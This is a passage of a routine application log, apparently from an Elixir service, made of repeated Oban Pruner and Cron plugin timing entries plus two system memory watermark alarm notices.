[info] {"source":"oban","duration":6638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:51.561 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.319 [info] {"source":"oban","duration":3243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:21.564 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:51.567 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.325 [info] {"source":"oban","duration":4076,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:21.568 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:51.570 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.333 [info] {"source":"oban","duration":6762,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:21.572 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:51.577 [info] {"source":"oban","duration":4328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.334 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:21.580 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:51.582 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.339 [info] {"source":"oban","duration":3681,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:21.586 [info] {"source":"oban","duration":2822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:51.588 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.341 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:21.590 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:51.592 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.346 [info] {"source":"oban","duration":3919,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:21.597 [info] {"source":"oban","duration":3089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:51.600 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.352 [info] {"source":"oban","duration":3864,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:21.605 [info] {"source":"oban","duration":3702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:51.607 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.354 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:21.609 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:51.611 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.362 [info] {"source":"oban","duration":6191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:21.613 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:51.615 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.369 [info] {"source":"oban","duration":5442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:21.617 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:51.619 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.371 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:21.621 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:51.623 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.373 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:21.625 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:51.627 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.378 [info] {"source":"oban","duration":3808,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:18.517 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 17:47:21.633 [info] {"source":"oban","duration":4001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:51.635 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.384 [info] {"source":"oban","duration":4876,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:21.638 [info] {"source":"oban","duration":1738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:51.641 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.389 [info] {"source":"oban","duration":3636,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:49:21.642 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:51.644 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.396 [info] {"source":"oban","duration":6204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:50:21.646 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:51.649 [info] {"source":"oban","duration":1859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.400 [info] {"source":"oban","duration":2521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:51:21.651 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:51.654 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.405 [info] {"source":"oban","duration":4144,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:52:21.656 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:51.658 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.410 [info] {"source":"oban","duration":3755,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:53:21.661 [info] {"source":"oban","duration":2106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:51.663 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.412 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:54:21.666 [info] {"source":"oban","duration":2156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:51.670 [info] {"source":"oban","duration":2946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.417 [info] {"source":"oban","duration":4503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:55:21.672 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:51.677 [info] {"source":"oban","duration":3947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.421 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:56:21.679 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:51.682 [info] {"source":"oban","duration":2062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.423 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:57:21.685 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:51.688 [info] {"source":"oban","duration":2072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.431 [info] {"source":"oban","duration":3168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:58:21.692 [info] {"source":"oban","duration":3304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:51.694 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.435 [info] {"source":"oban","duration":2336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:59:21.696 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:51.698 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.437 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:00:21.700 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:51.702 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.442 [info] {"source":"oban","duration":3221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:01:21.704 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:51.706 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.445 [info] {"source":"oban","duration":2688,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:02:21.708 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:51.710 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.452 [info] {"source":"oban","duration":4590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:03:21.713 [info] {"source":"oban","duration":2325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:51.716 [info] {"source":"oban","duration":2189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.455 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:04:21.718 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:51.719 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.457 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:05:21.721 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:51.723 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.460 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:06:21.725 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:51.727 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.462 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:07:21.729 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:51.732 [info] {"source":"oban","duration":2342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.465 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:08:21.734 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:51.737 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.466 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:09:21.739 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:51.741 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.471 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:10:21.743 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:51.746 [info] {"source":"oban","duration":2597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.476 [info] {"source":"oban","duration":3628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:11:21.748 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:51.752 [info] {"source":"oban","duration":3804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.490 [info] {"source":"oban","duration":13258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:12:18.623 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 18:12:21.754 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:51.756 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.491 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:13:21.761 [info] {"source":"oban","duration":4291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:51.763 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.492 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:14:21.765 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:51.767 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.494 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:15:21.769 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:51.771 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.497 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:16:21.773 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:51.776 [info] {"source":"oban","duration":2138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.501 [info] {"source":"oban","duration":2429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:17:21.778 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:51.780 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.502 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:18:21.782 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:51.784 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.504 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:19:21.787 [info] {"source":"oban","duration":2193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:51.789 [info] {"source":"oban","duration":813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.508 [info] {"source":"oban","duration":2873,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:20:21.794 [info] {"source":"oban","duration":3755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:51.796 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.509 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:21:21.798 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:51.800 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.511 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:22:21.802 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:51.807 [info] {"source":"oban","duration":2550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.516 [info] {"source":"oban","duration":3632,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:23:21.809 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:51.815 [info] {"source":"oban","duration":4886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.517 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:24:21.817 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:51.822 [info] {"source":"oban","duration":3910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.523 [info] {"source":"oban","duration":4731,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:25:21.827 [info] {"source":"oban","duration":3380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:51.829 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.525 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:26:21.831 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:51.833 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.526 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:27:21.835 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:51.837 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.531 [info] {"source":"oban","duration":3436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:28:21.839 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:51.841 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.546 [info] {"source":"oban","duration":13408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:29:21.843 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:51.845 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.548 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:30:21.847 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:51.849 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.553 [info] {"source":"oban","duration":3940,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:31:21.851 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:51.854 [info] {"source":"oban","duration":2551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.556 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:32:21.856 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:51.858 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.557 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:33:21.860 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:51.862 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.559 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:34:21.864 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:51.868 [info] {"source":"oban","duration":3027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.560 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:35:21.874 [info] {"source":"oban","duration":4852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:51.876 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.567 [info] {"source":"oban","duration":6048,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:36:21.879 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:51.881 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.571 [info] {"source":"oban","duration":3077,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:37:21.883 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:51.885 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.574 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:38:21.888 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:51.890 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.575 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:39:21.892 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:51.895 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.577 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:40:21.897 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:51.899 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.579 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:41:21.901 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:51.905 [info] {"source":"oban","duration":3389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.581 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:42:21.908 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:51.910 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.581 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:43:21.912 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:51.917 [info] {"source":"oban","duration":4365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.586 [info] {"source":"oban","duration":3759,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:44:21.919 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:51.921 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.591 [info] {"source":"oban","duration":3824,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:45:21.923 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:51.925 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.595 [info] {"source":"oban","duration":3109,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:21.927 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:51.930 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.598 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:21.935 [info] {"source":"oban","duration":3612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:51.937 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.601 [info] {"source":"oban","duration":3486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:21.939 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:51.941 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.602 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:21.943 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:51.945 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.609 [info] {"source":"oban","duration":6052,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:21.949 [info] {"source":"oban","duration":2790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:51.951 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.610 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:21.953 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:51.955 [info] {"source":"oban","duration":2481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.612 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:21.959 [info] 